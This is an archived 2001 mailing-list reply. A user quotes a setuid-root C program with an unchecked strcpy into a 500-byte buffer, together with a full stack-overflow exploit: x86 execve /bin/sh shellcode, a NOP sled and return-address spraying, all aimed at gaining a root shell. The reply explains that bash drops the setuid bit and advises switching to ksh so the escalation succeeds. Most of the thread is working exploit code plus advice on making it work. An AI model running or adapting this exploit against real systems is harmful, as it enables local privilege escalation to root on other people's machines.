Re: question on an exploit

From: Neil Macvicar (neilmat_private)
Date: Mon May 21 2001 - 08:19:57 PDT

  • Next message: MinusQ: "Internet Explorer crashing on weird URLs"

    hmm.. if your /bin/sh is a symlink to bash, then bash will automagivally
    mute your setuid bit and rob you of your rightly gained permissions :p
    Try using ksh instead.
    
    Regards,
    --Neil.
    
    On Thu, 17 May 2001, roland kwitt wrote:
    
    >
    >
    > hi folks,
    >
    >
    > recently i found a very good howto about buffer overflowing
    >
    > and tried to code an exploit for a little program.
    >
    >
    > #####################
    > Prog. to be exploited
    > #####################
    >
    > int main(int argc, char *argv[])
    > {
    >         char buffer[500];
    >         if(argc>=2) strcpy(buffer, argv[1]);
    >         return 0;
    > }
    >
    >
    > As anybody can see the program does not check the size of the
    >
    > input copied in buffer. Therefor it should be able to
    >
    > exploit it and gain root access through spawning a root shell.
    >
    > The perms of that prog are set to:
    >
    > 418444   16 -rwsr-xr-x   1 root     users       13335 May 17 15:22 vuln
    >
    >
    > The exploit looks like this:
    >
    >
    >
    > #include <stdlib.h>
    > #include <stdio.h>
    >
    > #define BUFFERSIZE 600  /* vulnerable buffer + 100 bytes */
    >
    > char linuxshell[] =
    > "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"
    >
    > "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
    >                     "\x80\xe8\xde\xff\xff\xff/bin/sh";
    >
    > unsigned long sp(void)
    > {
    >         __asm__("movl %esp, %eax");
    > }
    >
    > void usage(char *cmd)
    > {
    >         printf("\nusage: %s <offset>\n\n", cmd);
    >         exit(-1);
    > }
    >
    > int main(int argc, char *argv[])
    > {
    >         int i, offset, os;
    >         long esp, ret, *addr_ptr;
    >         char *buffer, *ptr, *osptr;
    >
    >         if(argc<2) usage(argv[0]);
    >
    >         offset = atoi(argv[1]);
    >         esp    = sp();
    >         ret    = esp-offset;
    >
    >         printf("Stack pointer: 0x%x\n", esp);
    >         printf("       Offset: 0x%x\n", offset);
    >         printf("  Return addr: 0x%x\n", ret);
    >
    >         if(!(buffer = malloc(BUFFERSIZE))) {
    >                 printf("Couldn't allocate memory.\n");
    >                 exit(-1);
    >         }
    >
    >         ptr = buffer;
    >         addr_ptr = (long *)ptr;
    > 	for(i=0; i<BUFFERSIZE; i+=4)
    >                 *(addr_ptr++) = ret;
    >
    >         for(i=0; i<BUFFERSIZE/2; i++)
    >                 buffer[i] = '\x90';
    >
    >         ptr = buffer + ((BUFFERSIZE/2) - (strlen(linuxshell)/2));
    >         for(i=0; i<strlen(linuxshell); i++)
    >                 *(ptr++) = linuxshell[i];
    >
    >
    >         buffer[BUFFERSIZE-1] = 0;
    >         execl("./vuln", "vulnerable", buffer, 0);
    >
    >         return 0;
    > }
    >
    > As a tried to execute the exploit using "exploit 0" (offset)
    >
    > the only thing i got was an ordinary user shell but not
    >
    > a root shell. Can somebody tell me why the setuid flag
    >
    > is ignored!!
    >
    >
    > Thanks, sniper!!
    >
    >
    >
    >
    >
    



    This archive was generated by hypermail 2b30 : Mon May 21 2001 - 09:54:43 PDT